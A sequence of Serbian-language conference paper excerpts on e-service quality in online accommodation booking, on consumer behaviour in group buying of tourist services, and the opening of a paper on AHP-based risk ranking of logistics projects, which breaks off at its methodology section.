Najveći broj ispitanika (56,75%) pripadao je starosnoj grupi od 25-34 godine. Od ukupnog uzorka, većina su bili studenti ili zaposleni (87,84%) sa fakultetskim ili višim obrazovanjem. Ovakva struktura ispitanika može biti posledica korišćenja metode prigodnog uzorkovanja, koju su autori izabrali zbog relativno malog ukupnog broja korisnika iz Srbije koji rezervišu smeštaj preko interneta.

Statističke analize

Statističke analize svih podataka urađene su uz upotrebu softvera SPSS 20. Pouzdanost istraživanja potvrđena je preko koeficienta Crombach Alpha, koji je za celo istraživanje iznosio 0,945, dok su pojedinačni koeficijenti svih dimenzija kvaliteta veći od 0,800 osim Upotrebljivosti i Bihejvioralnih namera, koje su imala nešto niži ali i dalje prihvatljiv koeficijent (0,647, odnosno 0,626 respektabilno) s obzirom na visok koeficijent cele skale [33]. Unakrsne korelacije imale su veće vrednosti od 0,3.

Pearson matrica korelacije korišćena je za utvrđivanje snage veze između varijabila koje su pretpostavljene u hipotezama, a potom su hipoteze testirane višestrukom regresivnom analizom kako bi se utvrdio nivo uticaja među varijabilama [34].

5. REZULTATI

Demografski podaci i podaci o načinu upotrebe eposrednika, pokazali su da su ispitanici najviše dolazili na internet stranicu e-posrednika direktno ili Google pretragom. Obavljali su najviše do 10 rezervacija godišnje, uglavnom u trajanju od najviše 6 noći i bez preferencija, kada je u pitanju tip putovanja. Prilikom izbora, ispitanici upoređuju veći broj objekata, najčešće čak 15 i više objekata, a rezervišu najčešće dvokrevetne sobe u hotelima.

Postavljene polazne hipoteze testirane su kako bi se odgovorilo na problem istraživanja. Nakon analize odgovora svih ispitanika, proseci dimenzija kvaliteta kretali su se od 4,989, koliko je prosek za "bezbednost", do 6,318 za "pouzdanost". Matrica korelacija pokazala je da sve dimenzije kvaliteta u ovom istraživanju imaju imaju pozitivne korelacije sa zadovoljstvom korisnika.

Dalje, rezultati regresivne analize na ukupnom uzorku pokazali su da su 3 dimenzije kvaliteta e-usluge značajne i da imaju pozitivan uticaj na zadovoljstvo korisnika: kvalitet informacija, personalizacija i pouzdanost.

Pearson matrica uz moderatorsku ulogu polne strukture

Od ukupnog broja ispitanika koji su učestvovali u ovom istraživanju, 86 osobe su bile žene (58.11%) a 62 muškarci (41.89%). Ove grupe posebno su analizirane metodama Pearson matrice i regresivne analize, kako bi se potvrdile ili opovrgle hipoteze.

Pearson matrice pokazale su da dimenzije kvaliteta e-usluge pokazuju pozitivnu korelaciju sa zadovoljstvom korisnika kod oba pola. Koeficijenti korelacije uglavnom su manji su od 0,700, što pokazuje da nema kolinearnosti [35] osim nekoliko izuzetaka za koje je potrebno proveriti mogućnost postojanja kolineranosti drugim pokazateljima.

Kada se uporede korelacije između dimenzija kvaliteta i zadovoljstva korisnika među polovima, primetno je da je većina korelacija jača kod žena. Najjači odnos kod oba pola ima kvalitet informacija (0,751 kod žena i 0,651 kod muškaraca). Kod žena druga najveća korelacija sa zadovoljstvom korisnika je sa dimenzijom personalizacije – 0,733. S druge strane, kod muškaraca je ova korelacija znatno niža, sa svega 0,477.

Kvalitet informacija i Efikasnost su kod muškaraca dimenzije sa značajno većom korelacijom od ostalih. Takođe, kada se analizira njihov međusobni odnos, može se videti da je njihova korelacija veoma visoka (0,829), što ukazuje na mogućnost postojanja kolinearanosti.

Regresivna analiza uz moderatorsku ulogu polne strukture

Regresivana analiza dimenzija kvaliteta naspram zadovoljstva korisnika, kada su u pitanju žene, pokazuje indeks determinacije R2 od 0,807, što znači da se 80,7% zadovoljstva korisnika može objasniti dimenzijama kvaliteta e-usluge korišćenim u ovom istraživanju, a koje pokazuju značajan uticaj na zadovoljstvo korisnika. Standardizovani regresioni koeficijent Beta pokazuje tri statistički značajne dimenzije kvaliteta: Kvalitet informacija (Beta=0,415, t=6,314, p<0,01), Personalizacija (Beta=0,399, t=5,871, p<0,01) i Pouzdanost (Beta=0,285, t=4,794, p<0,01). Sve tri dimenzije imaju značajan i pozitivan uticaj na zadovoljstvo korisnika. ANOVA test pokazuje da je model adekvatan jer je F-vrednost značajna (60,170) na nivou od 1% (p<0,01), što dalje ukazuje na to da je model adekvatan i da postoji statistički značajan odnos između dimenzija kvaliteta e-usluge i zadovoljstva korisnika.

Kada su u pitanju muškarci, regresivana analiza pokazuje dosta niži indeks determinacije R2 od 0,496, odnosno 49,6% zadovoljstva korisnika. Za razliku od žena, standardizovani regresioni koeficijent Beta pokazuje da je za muškarce samo jedna dimenzija kvaliteta statistički značajna i to je Kvalitet informacija (Beta=0,570, t=3,215, p<0,01) koja pokazuje pozitivan uticaj na zadovoljstvo korisnika.

ANOVA test pokazuje da je i ovaj model adekvatan sa manjom, ali i dalje značajnom F-vrednošću (11,009) na nivou od 1% (p<0,01).

Statistike kolinearnosti pokazuju da u slučaju oba pola, iako su Pearson matrice pokazale mogućnost postojanja kolinearnosti u retkim slučajevima, među dimenzijama kvaliteta nema kolinearnosti, s obzirom na to da su sve vrednosti tolerancije iznad 0,2 a sve vrednosti inflacionih faktora varijacije manje od 5, dok je većina manja od 2,5. Deo faktora kod muške populacije nalazi se između 2,5 i 5, ali s obzirom na ostale vrednosti, mogu se smatrati prihvatljivim.

E-lojalnost korisnika iz Srbije

Prethodne analize pokazale su da postoji uticaj dimenzija kvaliteta e-usluge na zadovoljstvo korisnika eposrednika. Kako bismo proverili validnost hipoteze 8, urađena je Pearson matrica i regresivana analiza zadovoljstva korisnika na njihove bihejvioralne namere na ukupnom uzorku.

Analize pokazuju korelaciju zadovoljstva korisnika sa bihejvioralnim namerama, koja je veoma slaba (manja od 0,300) i negativna, što ukazuje na činjenicu da zadovoljstvo korisnika nema uticaj na bihejvoralne namere korisnika.

Regresivna analiza pokazuje mali i negativan Beta koeficijent koji nije statistički značajan. Stoga se može zaključiti da u ovom istraživanju zadovoljstvo korisnika e-uslugom, koje je rezultat dimenzija kvaliteta korišćenog modela, nema značajan uticaj na bihejvioralne namere i posledično na e-lojalnost, usled čega je potrebno odbaciti hipotezu 8.

6. DISKUSIJA

Ovo istraživanje pokazalo je da postoji značajan odnos između dimenzija kvaliteta e-usluge i zadovoljstva korisnika e-posrednika za kupovinu smeštaja. Rezultati istraživanja pokazali su da je korišćeni model istraživanja pouzdan i validan. Iako je matrica korelacija urađena na ukupnom uzorku pokazala da sve dimenzije kvaliteta u ovom istraživanju imaju imaju pozitivne korelacije sa zadovoljstvom korisnika, na osnovu rezultata regresivne analize možemo potvrditi hipoteze koje se odnose na 3 dimenzije kvaliteta e-usluge: Kvalitet informacija, Personalizacija i Pouzdanost. S druge strane, preostale 3 dimenzije kvaliteta (Efikasnost, Upotrebljivost i Bezbednost), iako imaju određeni uticaj na zadovoljstvo korisnika, nisu statistički značajne. Kao posledicu toga, hipoteze koje se odnose na ove dimenzije je potrebno odbaciti.

Analiza odnosa dimenzija kvaliteta i zadovoljstava uz moderaciju polne strukture pokazala je da se rezultati ukupnog istraživanja približno poklapaju sa rezultatima dobijenim za žensku populaciju ispitanika, uz veoma visok indeks determinacije od 80,7%. Međutim, kada je u pitanju muška populacija, analiza je pokazala da je od dimenzija kvaliteta e-usluge korišćenih u modelu ovog istraživanja, jedino dimenzija Kvalitet informacija pokazala značajan uticaj na zadovoljstvo sa indeksom determinacije od 49,6%. Ovo pokazuje da postoje značajne razlike u poimanju kvaliteta usluge e-posrednika za kupovinu smeštaja između muške i ženske populacije ispitanika. Takođe, istraživanje pokazuje veliki značaj koji Kvalitet informacija ima za mušku populaciju ispitanika.

Ovo istraživanje takođe je pokazalo i da zadovoljstvo korisnika uslugom e-posrednika za kupovinu smeštaja ne utiče na bihejvioralne namere korisnika iz Srbije. Potencijalni razlog za ovaj odnos može biti vezan i za relativno mali broj aspekata koji ocenjuju bihejvioralne namere (samo 2 aspekta), kao i u činjenici da značajan deo zadovoljstva korisnika nije identifikovan korišćenim modelom. S te strane, postoji mogućnost da bi proširenje broja dimenzija i dodatnih medijatora doveli do drugačijeg rezultata.

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

E-COMMERCE SYSTEMS

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PONAŠANJE POTROŠAČA PRI ONLAJN GRUPNOJ KUPOVINI TURISTIČKIH USLUGA

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Rezime:

Savremeni način podsticanja prodaje, koji postaje sve popularniji, jeste grupna kupovina. To podrazumeva da se zainteresovani kupci okupljaju na internet mreži, preko sajtova za grupnu kupovinu, i na taj način ostvaruju popust pri kupovini. Internet servis koji pruža uslugu grupne kupovine deluje kao posrednik između prodavca, s jedne strane, i kupca, s druge strane. Poseban fokus rada usmeren je ka ponašanju potrošača - motivima zbog kojih se potrošači opredeljuju ili izbegavaju ovaj vid kupovine. Rezultati do kojih se došlo na osnovu sprovedenog anketnog istraživanja (n=152), pokazuju da su potrošači motivisani za ovaj vid kupovine upravo zbog raznovrsne ponude na jednom mestu, zahvaljujući savremenim internet tehnologijama. Takođe, rezultati pokazuju da se potrošači ne boje zloupotrebe ličnih podataka pri internet kupovini, ali da nisu kupili turističku uslugu jer nisu naišli na adekvatnu ponudu. Ovo zapravo ukazuje da se radi o potrošačima koji su fleksibilniji u odnosu na tradicionalne potrošače. Više od polovine ispitanika zadovoljno je kupljenom uslugom preko interneta i ima nameru da nastavi da kupuje turističke usluge na ovaj način. Takođe, rad nastoji da prikaže demografski profil potrošača grupnih turističkih putovanja u cilju efikasnijih marketinških aktivnosti preduzeća iz turističko-ugostiteljskog sektora.

Ključne reči:

Ponašanje potrošača, grupna kupovina, internet kupovina, turističke usluge.

Ponašanje potrošača

Potrošač je društveno i kulturno biće. On je istovremeno individua za sebe, član porodice, pripadnik grupe ili određene društvene klase, predstavnik određene nacije, vere, rase itd. Razlozi istraživanja ponašanja potrošača su mnogobrojni. Proučavanje ponašanja potrošača kao posebne marketing discipline počelo je kada su ponuđači shvatili da se potrošači ne ponašaju i ne reaguju uvek u skladu sa pretpostavkom marketing teorije. Mnogi su zanemarivali one proizvode i usluge koje su drugi koristili. Osnovna svrha proučavanja ponašanja potrošača jeste spoznaja zašto i kako potrošači donose svoje odluke o kupovini proizvoda ili usluga. Istraživanje ponašanja potrošača obuhvata brojne oblasti, tj. ono proučava procese u koje su uključeni pojedinci ili grupe kada biraju, kupuju, koriste ili odlažu proizvode, usluge, ideje ili iskustva da bi zadovoljili svoje potrebe i želje. Američka asocijacija za marketing [1] definiše ponašanje potrošača kao dinamičku interakciju spoznaje, ponašanja i činioca okruženja koji rezultiraju u ponašanju i razmeni aspekata života potrošača. Ova definicija uključuje

sve psihološke, društvene i ponašajuće aspekte potrošača povezujući ih sa spoljnim reakcijama koje se manifestuju u ponašanju potrošača [2]. Ponašanje potrošača postalo je integralni deo strategije planiranja tržišta. Savremeni način podsticanja prodaje, koji postaje sve popularniji, jeste grupna kupovina.

Potrošači u turizmu su vrlo heterogena grupa. Dobro poznavanje i razumevanje ponašanja turista od strane menadžera u turističkoj destinaciji neophodno je za planiranje i primenu efikasnog marketing programa [3].

Grupna kupovina

Grupna kupovina predstavlja fenomen koji se u poslednjih sedam godina raširio po celom svetu. Koncept grupne kupovine je još relativno nov i nepoznat, stoga je za očekivati porast broja korisnika, kao i proširenje ponude na nove kategorije turističkih proizvoda i usluga. Pravu revoluciju na tržištu popusta doneo je koncept grupne kupovine. To podrazumeva da se zainteresovani kupci okupljaju na internet mreži, preko sajtova za grupnu kupovinu, i na taj način ostvaruju popust pri kupovini. Internet servis koji pruža uslugu grupne kupovine deluje kao posrednik između prodavca, s jedne strane, i kupca, s druge strane. Na pojavu grupne kupovine i na njenu veliku prihvaćenost uticali su u najvećoj meri internet, društvene mreže i recesija. U savremenom svetu marketinga, grupna kupovina postaje sve popularnije sredstvo oglašavanja [4].

Koncept grupne kupovine je vrlo jednostavan. Internet servis koji pruža uslugu grupne kupovine deluje kao posrednik između prodavca, s jedne strane, i kupca, s druge strane. Servis u saradnji sa prodavcima dogovara koji će se proizvodi i usluge naći u ponudi, koliki će popust odobriti na ponudu, te koliko je minimalno potrebno zainteresovanih osoba kako bi ponuda postala važeća. Nakon toga, servis objavljuje ponudu na svojoj internet stranici. Ukoliko se prijavi dovoljan broj ljudi za kupovinu određenog proizvoda ili usluge, svi prijavljeni dobijaju od prodavca veliki popust. Prodavci uglavnom odobravaju popust od 50% do 70%, a minimalan broj zainteresovanih osoba određuje se tako da se pređe prag isplativosti. Za neke proizvode i usluge potrebno je svega pet do deset zainteresovanih ljudi kako bi ponuda postala važeća. Takođe, prodavci u saradnji sa internet servisom mogu odrediti i maksimalan broj ljudi koji se mogu prijaviti za određenu ponudu [5].

Nakon što postane uspešna, svaka ponuda ima određeni vek trajanja. Uglavnom je reč o dnevnim ponudama ili do nedelju dana trajanja. Kupac koji je kupio proizvod

ili uslugu iz ponude, na e-mail adresu prima kupon koji mu omogućava da ostvari popust.

Servis za grupnu kupovinu svakog dana predstavlja novu ponudu, a kako neke ponude traju i po nekoliko dana, u istom trenutku moguće je više aktivnih ponuda. Većina servisa, kako bi privukli veći broj korisnika usluga osim što objavljuju ponudu dana na svojim internet stranicama, takođe nudi i mogućnost informisanja o ponudi dana putem elektronske pošte, popularnih društvenih mreža, sms poruke [4].

Objavljivanje informacija o proizvodima i uslugama na veb-sajtu za grupnu kupovinu predstavlja poziv korisniku da učini ponudu klikom na dugme/taster "kupi". Ukoliko sajt prihvati ponudu korisnika nastaje ugovorni odnos i korisnik preuzima ugovornu obavezu da plati izabrani proizvod ili uslugu. Prodaja može biti ograničena na maksimalni broj korisnika zainteresovanih za određeni turistički proizvod ili uslugu. Korisnik plaća proizvod ili uslugu putem poštanskih uplatnica, interneta ili na neki drugi elektronski način ponuđen na sajtu.

Grupna kupovina podrazumeva postojanje sajtova preko kojih mnoštvo ljudi može da rezerviše određene turističke proizvode i usluge po sniženim cenama, ukoliko sa njihovim ponuđačima sajt ima dogovor.

U Srbiji je sve više ovakvih sajtova, dok u razvijenim društvima "pametni potrošači" već godinama kupuju na ovaj način (preko *Groupon* u SAD-u, *CityDeal* i *DailyDeal* u Nemačkoj, i dr.). Jedan od domaćih sajtova [6], vodi se motom da je "puna cena samo početni broj, a cena sa popustom je aktuelna vrednost" i na taj način možda objašnjava i suštinu grupne kupovine.

U Srbiji se prvi sajtovi grupne kupovine pojavljuju 2010. godine. Po proverenom *copy/paste* receptu, za veoma kratak period doživeli su veliku popularnost. Počeo je sa tri ovakva servisa (*KupiMe.rs, Popusti.rs, Kolektiva. rs*), da bi do kraja 2011. imao oko 40 sajtova. Istraživanje koje je sproveo portal *Agregato.com* među 18.000 internet korisnika, kao ubedljivo najpopularniji vid ponuda na sajtovima grupne kupovine izdvaja turistička putovanja sa oko 40%, sledi kupovina garderobe sa oko 22%, u manjoj meri usluge zabave, lepota [7].

1. METODOLOGIJA

Na teritoriji AP Vojvodine, u prvoj polovini 2015. godine, na uzorku od 150 ispitanika, za potrebe boljeg razumevanja ponašanja potrošača prilikom grupne kupovine turističkih putovanja, njihovih budućih namera kupovine, razloga opredeljenja za ovu vrstu kupovine i ostalog spovedeno je anketno istraživanje, kojim se došlo do zanimljivih rezultata. Anketa se sastoji od 19 pitanja, prva grupa pitanja odnosi se na socio-demografske karakteristike ispitanika, zatim se pitanjima nastojalo doći do odgovora o načinu saznanja o konceptu grupne kupovine, da li su do sada ispitanici vršili kupovinu ovim putem, najčešće korišćeni sajtovi, način informisanja o ponudi, da li je putovanje bilo u skladu sa njihovim očekivanjima, da li imaju nameru u budućnosti da učestvuju u grupnoj kupovini, motivacija za kupovinu i razlog nekupovine turističkih putovanja na ovaj način.

Uzorak uzet kao osnov istraživanja bio je prost slučajan. Dobijeni podaci obrađeni su u statističkom paketu SPSS 17.

Osim analize socio-demografskih karakteristika ispitanika, metodom Hi-kvadrat test (Chi-square test) testirana je veza dve kategorijske promenljive. Poređena je učestalost slučajeva u raznim kategorijama jedne promenljive (polna struktura i bračni status) sa raznim kategorijama druge promenljive.

2. REZULTATI ISTRAŽIVANJA

Domaći servisi u svom poslovanju slede proverene prakse stranih servisa za grupnu kupovinu, kao što su lokalna orijentacija, obaveštavanje korisnika o ponudi dana putem elektronske pošte i društvenih mreža, mogućnost poklanjanja proizvoda i usluga iz ponude itd. [8].

Rezultati ukazuju da je većina ispitanika saznala za ovaj servis preko prijatelja (53%), što objašnjava i brzinu popularizacije ovog načina kupovine. Visok udeo je i onih koji su preko društvenih mreža došli do saznanja o postojanju i načinu funkcionisanja grupne kupovine u Vojvodini (28%). Preko pretraživača je 14% ispitanih saznalo za servis, a na ostale načine preostalih 5%.

Koncept grupne kupovine u Srbiji proteklih godina postao je veoma popularan i ima tendenciju rasta. Na srpskom tržištu trenutno postoji 44 kompanije koje rade kao servis za grupnu kupovinu. Između 2009. i 2011. godine otvoreno je 35, od toga 59% u 2011. godini [9].

Da je u Srbiji ovaj koncept zaživeo, jasno pokazuju podaci da su čak 61% ispitanih već kupovali turistička putovanja preko servisa za grupnu kupovinu.

Rezultati pokazuju da je najveći broj onih koji su se informisali o popustima pretražujući internet stranice sajtova za grupnu kupovinu. Njihovo učešće je 48% u odnosu na ukupan broj ispitanika. Nešto manje ispitanika informisalo se preko elektronske pošte (36%). Samo 16% ispitanika je do informacije o ponudama došlo preko prijatelja ili poznanika koji su im prosledili informacije. Najviše je onih koji su samo jednom koristili ove usluge i imaju učešće od 46% u odnosu na ukupan broj ispitanika. Nešto manje je onih koji su kupovali od dva do četiri puta (43%), od četiri do šest puta kupovalo je 7% ispitanih, dok je po 2% onih koji su kupovali od šest do osam puta i onih koji su kupovali više od osam puta.

Više ispitanika kupovalo je putovanja u inostranstvo (44%), a 41% njih opredelio se za putovanja u okviru Srbije. Preostalih 15% ispitanika kupovali su i jedna i druga putovanja.

Analizom zadovoljstva korisnika usluga sajtova za grupnu kupovinu došlo se do veoma dobrih rezultata koji ukazuju da je čak 86% ispitanika imalo pozitivno iskustvo, jer je putovanje bilo u skladu sa njihovim očekivanjima. Samo 9% ispitanika očekivalo je više u odnosu na doživljeni kvalitet usluge, dok je 5% onih čija su očekivanja prevaziđena.

Da je većina ispitanika voljna da i dalje koristi usluge sajtova za grupnu kupovinu prikazuju rezultati na grafikonu broj 17. Čak 75% ispitanika izjasnilo se da bi opet kupilo kupon za putovanje, dok je samo 2% onih koji ne žele više da putuju na ovaj način. Neopredeljenih je 23%.

Kao što se i očekivalo, najveći udeo kupaca motivisan je uštedom novca i njih je 38% u odnosu na ukupan broj ispitanika. Praktičnost kupovine motivisalo je 17% ispitanika, dok je 21% odgovorilo da je ovaj vid kupovine sigurna kupovina po nižoj ceni. Ulaganje manje napora u potrazi za mestom putovanja motivisalo je 24% ispitanih.

Raznovrsnost ponude na jednom mestu je jak motiv za kupce na sajtovima za grupnu kupovinu. Čak 98% ispitanika saglasno je sa tom izjavom, dok je preostalih 2% smatralo da im raznovrsnost ponude nije dovoljno jak motiv.

Koliko su snižene cene značajan faktor pri kupovini turističkih putovanja na sajtovima za grupnu kupovinu, govori podatak da ispitanici koji su stimulisani sniženim cenama imaju učešće od 55%, dok je 45% onih koji imaju potrebu za putovanjem, te im je ponuda po nižim cenama bila samo dodatni stimulans u odabiru.

Najviše ispitanika motivisano je potrebom za promenom svakodnevnice i imaju učešće od 50%. Društvo je motivisalo 24% ispitanika, dobar provod 13% ispitanika, upoznavanje novih ljudi 9% ispitanika, dok je po 2% onih koji su motivisani šopingom i ostalim razlozima.

Razlog zbog kojeg ispitanici nisu koristili usluge sajtova za grupnu kupovinu su različiti. Ispitanici koji još uvek nisu našli interesantnu ponudu uzimaju učešće od 30%, zatim su po 22% ispitanika od onih koji ne znaju kako se to radi i onih koji smatraju rizičnom kupovinu

nečeg što nisu videli, 14% ima strah od plaćanja preko interneta, 7% ispitanika nema pristup internetu, dok 5% ne želi da ostavlja podatke onlajn.

Rezultati Hi-kvadrat testa nezavisnosti između promenljivih, u ovom slučaju pola ispitanika sa raznim kategorijama drugih promenljivih, ukazuju da vrsta pola nema veliki uticaj na način saznanja o konceptu grupne kupovine, izvor informacija o ponudama, područje putovanja, na zadovoljstvo kupljenim putovanjem i na druge kategorije. Jedina značajnost pokazala se u odnosu pola ispitanika sa izborom sajta grupne kupovine i razlozima nekupovine turističkih putovanja preko koncepta za grupnu kupovinu. Pokazalo se da pol ima uticaj pri izboru sajta servisa za grupnu kupovinu, kao i na nekupovinu turističkih putovanja, da li zbog neznanja korišćenja servisa, neposedovanja pristupa internetu, bojazni za ostavljanjem podataka onlajn, straha plaćanja preko interneta, rizika od neviđene kupovine, ili da još uvek nije pronađena adekvatna ponuda. Svakako da prikazana značajnost u odnosu pola i razloga nekupovine turističkih proizvoda i usluga proizilazi iz mentaliteta i psiholoških karakteristika potencijalnih korisnika.

Rezultati dobijeni metodom Hi-kvadrat testa nezavisnosti, gde je za jednu promenljivu uzet bračni status za poređenje učestalosti slučajeva u odnosu na razne kategorije drugih promenljivih, ukazuju da bračni status nema veliku značajnost na izbor sajta za grupnu kupovinu, zadovoljstvo kupljenim putovanjem, područje putovanja, i druge kategorije.

Međutim, bračni status ima značajne veze sa načinom saznanja o konceptu grupne kupovine, razlozima nekupovine turističkih putovanja i time da li su do sada kupovali putovanja preko servisa za grupnu kupovinu. Značajnost u odnosu bračnog statusa (udata/oženjen, razveden/a, u braku sa ili bez dece i drugo) i načina informisanja o konceptu grupne kupovine, svakako proizilazi iz socijalnih karakteristika korisnika usluga, da li su informisani preko prijatelja, pretraživača, preko društvenih mreža i ostalo. Zatim, saznanje da je značajan uticaj bračnog statusa na razloge nekupovine turističkih putovanja od velike je važnosti, pogotovo za marketing eksperte u cilju pronalaženja strategija za smanjenjem razloga nekupovine turističkih proizvoda i usluga i pronalaženjem načina za zadovoljenje njihovih potreba i želja. Uticaj bračnog statusa ogleda se i na samu kupovinu turističkih putovanja preko servisa za grupnu kupovinu (da li jesu ili nisu kupovali putovanja), to je još jedan zadatak za marketing eksperte da uvide razloge za nekupovinu turističkih proizvoda i usluga. Verovatno da glavni razlozi leže u ekonomskoj situaciji potencijalnih korisnika usluga, jer na primer razvedena majka sa troje dece manje će kupovati, ili neće uopšte kupovati, turistička putovanja, iako je samim konceptom grupne kupovine ista snižena dodatno i do 70%. Dok, na primer, neudata, zaposlena i savremena mlada žena verovatno spada u grupu onih koji kupuju turistička putovanja preko koncepta grupne kupovine.

3. ZAKLJUČAK

Značaj grupne kupovine sa stanovišta potrošača najviše se ogleda u ekonomskim razlozima zahvaljujući sniženim cenama turističkih proizvoda i usluga, kao i raznovrsnosti ponude na jednom mestu, što u velikoj meri utiče na vreme neophodno za izbor i kupovinu proizvoda ili usluge.

Većina ispitanika koji su upoznati sa ponudama sajtova za grupnu kupovinu srednjeg su životnog doba, u radnom odnosu i sa fakultetskom diplomom, što ukazuje da je ovde reč o savremenim potrošačima koji znaju šta žele od putovanja.

Kao što je i očekivano, na osnovu anketnog istraživanja potvrđeno je da su turisti motivisani za ovaj vid kupovine upravo raznovrsnošću ponude na jednom mestu. Razlog tome je savremen način života koji utiče na nedostatak vremena za kupovinu turističkih putovanja na tradicionalan način.

Ovim istraživanjem takođe se pokazalo da više ispitanika nije kupilo turističku uslugu jer nije naišlo na adekvatnu ponudu, a ne zbog pronevere podataka, što zapravo ukazuje da se radi o savremenim potrošačima upoznatim sa ovim načinom plaćanja, odnosno kupovine.

Od velike važnosti za koncept grupne kupovine turističkih putovanja je podatak da je više od polovine ispitanika zadovoljno kupljenom uslugom preko grupne kupovine i ima nameru da i u budućnosti prati trend te vrste kupovine. Razlog tome su, pre svega, savremeni potrošači, koji sve više imaju predstavu o tome šta očekuju od putovanja i na koji način da dođu do potencijalno kvalitetnih ponuda, kao i atraktivne i snižene ponude koje su animirale korisnike da počnu da kupuju na ovaj novi način, bez obzira na averziju prema plaćanju platnim karticama na internetu

Grupna kupovina turističkih proizvoda i usluga motiviše turiste iz Srbije na kupovinu, pre svega, širokim izborom ponuda i nižim cenama. Koncept grupne kupovine je još relativno nov i neotkriven, stoga je i za očekivati rast broja korisnika u budućnosti.



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RANGIRANJE LOGISTIČKIH PROJEKATA NA OSNOVU RIZIKA PRIMENOM AHP METODOLOGIJE

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Rezime:

Savremeni uslovi poslovanja podrazumevaju veliku konkurenciju. U skladu sa tim, za uspeh na turbulentnom tržištu potrebno je obavljati poslove bolje i efikasnije od konkurencije. Logistika predstavlja jedan od najvažnijih celina od koje u velikoj meri zavisi uspeh određenog preduzeća na tržištu. Logistički projekti predstavljaju moderno sredstvo za obavljanje logističkih aktivnosti. Ovi projekti su često veoma brojni i zahtevaju adekvatno upravljanje. Veliki problem u upravljanju logističkim projektima predstavljaju rizici. Predmet istraživanja rada ogleda se u rangiranju logističkih projekata na osnovu rizika primenom AHP metode i softverskog paketa Expert Choice 11. Cilj samog istraživanja podrazumeva rangiranje logističkih projekata na osnovu definisanih rizičnih događaja, utvrđivanje globalnog nivoa rizika u logističkim projektima i rangiranje na osnovu istog.

Ključne reči:

rizik, logistički projekti, upravljanje, AHP metoda, softver Expert Choice 11.

1. UVOD

Logistika predstavlja veoma važan deo određenog privrednog društva. Od uspeha logističke funkcije umnogome zavisi celokupan uspeh preduzeća. Logistika preduzeća predstavlja funkciju upravljanja preduzećem koja ima za cilj da već tradicionalnim vrednostima dobara, kao što su tip proizvoda, kvalitet, cena, doda nove vrednosti. Pored toga, cilj logistike je raspoloživost traženih dobara na mestu i u momentu u kome se manifestuje potreba potrošača za tim dobrima [1].

Ciljevi logistike preduzeća ostvaruju se kroz realizaciju logističkih projekata. Manipulacija i transport dobara kroz privredni subjekt veoma je kompleksan posao, te često zahteva odvijanje velikog broja logističkih projekata u isto vreme.

Usled velikog broja logističkih projekata koji se odvijaju u preduzeću, potrebno je istima upravljati na optimalan način. Jedan od najvećih problema realizacije logističkih projekata jeste prisustvo rizika i rizičnih događaja. U cilju dostizanja kompanijskih ciljeva, potrebno je utvrditi nivo rizika kod pojedinačnih projekata i izvršiti rangiranje na osnovu visine rizika.

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2. UPRAVLJANJE PROJEKTNIM RIZICIMA

Kod analiziranja upravljanja projektnim rizicima, potrebno je najpre definisati rizik. On se u literaturi veoma često različito definiše. U užem smislu, rizik predstavlja opasnost gubitka ili štete. Sagledavajući širi smisao, rizik opisuje mogućnost drugačijeg ishoda od onog koji se očekivao. Rizik predstavlja šansu da se dogodi nešto što će imati uticaj na ciljeve poslovanja [2].

Na osnovu savremenih shvatanja, svaki projekat sadrži elemente poslovnog procesa. Pošto se realizuje u budućnosti, on u sebi sadrži odgovarajući rizik i neizvesnost. Upravljanje rizikom projekta predstavlja složen proces multidisciplinarnog karaktera koji uključuje poznavanje menadžmenta, matematike, ekonomije i psihologije [3].

Upravljanje projektnim rizicima predstavlja izuzetno značajan deo celovitog procesa upravljanja jednim projektom, koji može značajno da utiče na ukupne rezultate projekta. Upravljanje rizicima u projektu predstavlja veoma složen upravljački koncept koji se sastoji od skupa relevantnih procesa, čijom se realizacijom ostvaruje ukupan proces upravljanja rizicima na projektu [4].

Upravljanje rizikom u projektu predstavlja kompleksan proces koji obuhvata stalnu i sistematsku identifikaciju, predviđanje i procenjivanje faktora rizika, a zatim pripremu i planiranje odbrambenih akcija i reakcija koje mogu doprineti smanjenju rizika. Proces upravljanja rizikom u projektu obuhvata pronalaženje preventivnih mera radi smanjenja rizika, koji mogu nastati u realizaciji određenog projekta [4].

Jedan od najvažnijih segmenata upravljanja rizika jeste određivanje veličine rizika i upoređivanja projekata na osnovu veličine rizika. Metode procene i uticaja pojave rizika, koji može da izazove određeni gubitak na posmatranom projektu, predstavljaju postupke kojima se meri veličina rizika. Ocene veličine rizika projekta zavise od velikog broja faktora [3]. Prilikom odabira metode za određivanje veličine rizika u projektima potrebno je sagledati sve faktore i odabrati najpogodniju metodu za date uslove određivanja veličine rizika.

3. SOFTVERSKA PODRŠKA AHP METODOLOGIJI

Softverska rešenja za podršku odlučivanju predstavljaju informacione sisteme koji su slični i komplementarni standardnim informacionim sistemima i imaju za cilj da podržavaju, uglavnom, poslovne procese donošenja odluka. Sistemi za podršku odlučivanju predstavljaju simbiozu informacionih sistema, primene niza funkcionalnih znanja i tekućeg procesa donošenja odluka. Ovi sistemi su interaktivni računarski sistemi koji imaju zadatak da pomognu menadžerima ili donosiocima odluka da identifikuju, strukturiraju i reše polustrukturirane i nestrukturirane probleme, ali i da naprave izbor među alternativama [5].

Neke od prednosti koje pruža softverska podrška odlučivanju jesu brža, jeftinija i kvalitetnija pomoć korisniku da lakše manipuliše podacima i rezultatima. Važno je da se sagledavanje i rešavanje problema odlučivanja postiže na transparentan način [6].

U ovom slučaju, potrebno je pronaći adekvatnu softversku podršku za AHP metodologiju. U cilju jednostavnijeg rešavanja problema rangiranja projekata na osnovu rizika primenom AHP metode, koristićemo softver Expert Choice [7].

Expert Choice je jedan od najefikasnijih alata za rešavanje problema višekriterijumskog odlučivanja. On omogućuju *what if* analizu pri strateškom planiranju proračuna projekata. Softver je u potpunosti prilagođen primeni AHP metode i podržava sve potrebne korake. Expert Choice dozvoljava strukturiranje problema i upoređivanje alternative i kriterijumima u parovima na više načina. Pored toga, on poseduje mogućnost sprovođenja analize osetljivosti pomoću jednostavne interaktivne razmene težina kriterijuma i alternative, ali i grafove za odličnu vizuelizaciju dobijenih rezultata [5].

Pomenuti softver podržava praktično neograničen broj kriterijuma i potkriterijuma, i u potpunosti implementira Analitički hijerarhijski proces Tomasa Satija. U okruženju softvera Expert Choice, izgradnja modela predstavlja direktan proces. Expert Choice podržava ispitivanje konzistentnosti pri vrednovanju kriterijuma i alternativa prema definisanoj hijerarhiji, tako da se lako može pratiti kako promene prioriteta kriterijuma utiču na rangove alternativa [8].

4. METODOLOGIJA ISTRAŽIVANJA

